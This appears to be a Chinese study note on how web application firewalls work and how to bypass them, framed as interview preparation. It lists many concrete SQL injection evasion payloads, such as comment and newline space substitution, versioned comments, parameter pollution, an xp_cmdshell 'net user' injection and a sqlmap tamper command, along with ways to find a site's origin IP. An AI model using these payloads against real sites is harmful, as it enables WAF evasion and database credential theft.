这样算是面试过程中比较经典的一个问题了
网站WAF是一款集网站内容安全防护、网站资源保护及网站流量保护功能为一体的服务器工具。
功能涵盖了网马/木马扫描、防SQL注入、防盗链、防CC攻击、网站流量实时监控、网站CPU监控、下载线程保护、IP黑白名单管理、网页防篡改功能等模块。
能够为用户提供实时的网站安全防护,避免各类针对网站的攻击所带来的危害。主要是防一些网络层和传输层的攻击
装在主机侧(服务器)上
比较出名的安全狗就是其中之一
创建在企业中
用户访问网站都要经过
知道真实IP地址可以过
很多公司不是全部域名都上了云waf
利用泛域名获取真实IP
开启之后,任何域名都可以解析,可以解决暴力破解
也就是可以通过一个不存在的二级域名访问网站比如wdedx.baidu.com
开启泛域名有一个缺点
这时候不管是CDN还是WAF都是直接到真实IP
也就是我们通过ping一个随意的二级域名,就可以找到真实IP了
同时也可以利用burp中插件bypass waf
注意burp任何插件安装后都要在项目选项,会话处理进行配置
可以伪造本地访问
waf硬件软件功能是差不多,像一个防火墙一样,创建在企业链路上,基本是企业必备的,按域名收费
网站WAF是一款服务器安全防护软件,是为IDC运营商、虚拟主机服务商、企业主机、服务器管理者等用户提供服务器安全防范的实用系统,是集网站内容安全防护、网站资源保护及网站流量保护功能为一体的服务器工具。
常见的系统攻击分为两类:
一是利用Web服务器的漏洞进行攻击,如DDOS攻击、病毒木马破坏等攻击;
二是利用网页自身的安全漏洞进行攻击,如SQL注入攻击、跨站脚本攻击等。常见攻击方式对网站服务器带来的危害主要集中在病毒木马破坏、网页非法篡改、各类网络攻击带来的威胁。
要实现绕过首先让我们了解一下waf防御流程
身份认证阶段
WAF是有一个白名单的,在白名单内的客户请求将不做检测
绕过方法一:伪造搜索引擎
老版本的WAF是有这个漏洞的,就是把User-Agent修改为搜索引擎,便可以绕过,进行sql注入等攻击, 这里推荐一个火狐插件,可以修改User-Agent,叫User-Agent Switcher
现在不可以了
绕过方法二:伪造白名单特殊目录
之前360webscan有这个缺陷,现在也不行了
绕过方法三:直接攻击源站
这个方法可以用于一些云WAF,云WAF的原理:通过DNS解析到云WAF,访问网站的流量要经过指定的DNS服务器解析,然后进入WAF节点进行过滤,最后访问原始服务器,如果我们能通过一些手段(比如c段、社工)找到原始的服务器地址,便可以绕过
(1)编码绕过
最常见的方法之一,可以进行urlencode
早期的方法,现在效果不是太好
(2)修改请求方式绕过
最典型的修改请求方式绕过,很多的asp,aspx网站都存在这个问题,有时候WAF对GET进行了过滤,但是Cookie甚至POST参数却没有检测。
(3)复参数绕过
例如一个请求是这样的
GET /pen/news.php?id=1 union select user,password from mysql.user
可以修改为
GET pen/news.php?id=1&id=union&id=select&id=user,password&id=from%20mysql.user
很多WAF都可以这样绕,测试最新版WAF能绕过部分语句
(4)WAF触发规则的绕过
WAF在这里主要是针对一些特殊的关键词或者用法进行检测。绕过方法很多
绕过策略一:特殊字符替换空格
用一些特殊字符代替空格,比如在mysql中%0a
是换行,可以代替空格,这个方法也可以部分绕过最新版本的WAF,在sqlserver中可以用/**/
代替空格,也可以使用如下方法:
http://192.168.0.142:8080/sql.php?id=1/*|%23--%23|*/union/*|%23--%23|*/select/*|%23--%23|*/1,user(),3,4,5
http://192.168.0.142:8080/sql.php?id=1/*|%23--%23|*/and/*|%23--%23|*/1=2
绕过策略二:特殊字符拼接
把特殊字符拼接起来绕过WAF的检测,比如在Mysql中,可以利用注释/**/来绕过,在mssql中,函数里面可以用+来拼接
如:GET /pen/news.php?id=1;exec(master…xp_cmdshell ‘net user’)
可以改为:GET /pen/news.php?id=1; exec(‘maste’+‘r…xp’+’_cmdshell’+’“net user”’)
绕过策略三:注释包含关键字
在mysql中,可以利用/!/包含关键词进行绕过,在mysql中这个不是注释,而是取消注释的内容。测试最新版本的WAF可以完美绕过。
如: GET /pen/news.php?id=1 union select user,password from mysql.user
可以改为: GET /pen/news.php?id=1 /!union/ /!select/ user,password /!from/ mysql.user
现在不可以
绕过策略四:特殊符号
尝试seelct~ select~1 select! select@等绕过成功
(5):空格替换法
把空格替换成%0a/**/
可以绕过最新版本WAF, 在Pangolin中 点击 编辑-- 配置-- 高级-- 选择替换空格使用-- 填上%0a/**/
即可
http://192.168.0.142:8080/sql.php?id=1%20union%23%0aselect%23%0a1,user(),3,4,5
(6)关键字替换
http://www.***.com/index.php?page_id=-15 UNIunionON SELselectECT 1,2,3,4….
此方法适用于一些会把union select
替换掉的WAF,经过WAF过滤后就会变成 union select 1,2,3,4....
(7)编码与注释结合
http://www.***.com/index.php?page_id=-15 %55nION/**/%53ElecT 1,2,3,4…
http://192.168.0.142:8080/sql.php?id=1/*!50000*/union/*!50000*/select/*!50000*/1,user(),3,4,5
http://192.11.22.55/sqli/Less-1/?id=1' and /*!1=1*/ %23 (WAF不拦截)
U替换为%55
,S替换为%53
在 union 和 select 之间添加注释/**/
手工进行加注释进行注入太慢,一般我们通过Sqlmap这类工具来实现自动注入:
sqlmap.py -u "URL" --tamper="versionedmorekeywords.py" --dealy=1
(8)利用WAF本身的功能绕过
假如你发现WAF会把"*"
替换为空,那么你就可以利用这一特性来进行绕过http://www.site.com/index.php?page_id=-15+uni*on+sel*ect+1,2,3,4....
其它方法-15+(uNioN)+(sElECt)….-15+(uNioN+SeleCT)+…-15+(UnI)(oN)+(SeL)(ecT)+….-15+union (select 1,2,3,4…)
(9)使用其他变量或者命令对注入语句进行替换
COMMAND | WHAT TO USE INSTEAD
@@version | version()
concat() | concat_ws()
group_concat() | concat_ws()
= | like
**还有就是把or '1=1' 改成更复杂的例如-1=-1**
(10)组合绕过waf
先判断注入点,把and为&&
,urlencode后为%26%26
http://192.168.0.102:8080/sql.php?id=1%20%26%26%20-1=-2
具体讲解绕过方法
1.利用()代替空格
2.利用mysql特性/!/执行语句
3.利用/**/混淆代码
注入语句
union/*%00*//*!50010select*/(database/**/()),(user/**/())%23
id=1/*|%23--%23|*/unioN/*|%23--%23|*/sElect/*|%23--%23|*/1,
user(),(database/**/()),4,5
http://192.168.0.102:8080/sql.php?id=1
union/*%00*//*!50010select*/1,user(),version(),4,5
注意
1.mysql关键字中是不能插入/**/
的,即se/**/lect
是会报错的,但是函数名和括号之间是可以加上/**/
的,像database/**/()
这样的代码是可以执行的
2./!/中间的代码是可以执行的,其中50010为mysql版本号,只要mysql大于这个版本就会执行里面的代码
3.数据或者函数周围可以无限嵌套()
4.利用好%00
IP地址黑名单,在生产环境中有很多公司选择关闭这一功能,一方面是误封率很高,另一方面因为正常用户IP被攻击者伪造利用
waf针对于get防护度是很高的,很多选项默认开启,但是cookie post很多功能并不开启,现在没有一个安全厂商可以做到全部功能开启,资源占用量太大,所以一般只检测常见问题
因此在绕过的时候尽量避免get请求
小结:整体思路还是比较庞大的,按照整体防御思路进行绕过来记忆吧,感觉WAF跟DNS有一点异曲同工之处,查了一下,可以结合起来做防御,今天还学了点木马免杀,总结就不发了,问为什么的就赶紧远离好吧